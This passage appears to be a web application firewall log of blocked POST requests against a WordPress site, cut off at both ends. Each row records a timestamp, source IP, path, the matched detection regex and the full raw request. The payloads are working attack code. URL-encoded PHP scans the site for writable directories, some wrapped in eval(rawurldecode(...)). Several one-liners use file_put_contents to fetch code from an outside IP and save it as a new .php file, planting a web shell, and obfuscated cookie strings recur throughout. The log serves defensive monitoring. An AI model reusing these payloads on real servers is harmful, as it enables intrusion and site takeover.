3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:02:50","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Vy:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIaxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3832\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nVy=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:03:04","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3865\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 22:03:11","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jA:%3C%3Fphp%20%20file_put_contents%28%27corpo.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/OxRSZhvMVT%27%29%29%3B","POST \/ HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:168\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\njA=%3C%3Fphp%20%20file_put_contents%28%27corpo.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/OxRSZhvMVT%27%29%29%3B"]
["2026-05-12 22:03:25","141.98.11.117","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MC:%3C%3Fphp%20%20file_put_contents%28%27pathway.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/MQGvMamyfb%27%29%29%3B","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:170\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nMC=%3C%3Fphp%20%20file_put_contents%28%27pathway.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/MQGvMamyfb%27%29%29%3B"]
["2026-05-12 22:03:40","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Da:%3C%3Fphp%20%20file_put_contents%28%27inihelper.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/LovJKvGHKo%27%29%29%3B","POST \/ HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvETRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:172\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nDa=%3C%3Fphp%20%20file_put_contents%28%27inihelper.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/LovJKvGHKo%27%29%29%3B"]
["2026-05-12 22:03:51","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SA:%3C%3Fphp%20%20file_put_contents%28%27jsonlib.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/yWvWWjlkGI%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH0RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:170\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nSA=%3C%3Fphp%20%20file_put_contents%28%27jsonlib.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/yWvWWjlkGI%27%29%29%3B"]
["2026-05-12 22:03:58","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ys:%3C%3Fphp%20%20file_put_contents%28%27researchAreas.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/dIDEskUBHm%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:176\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 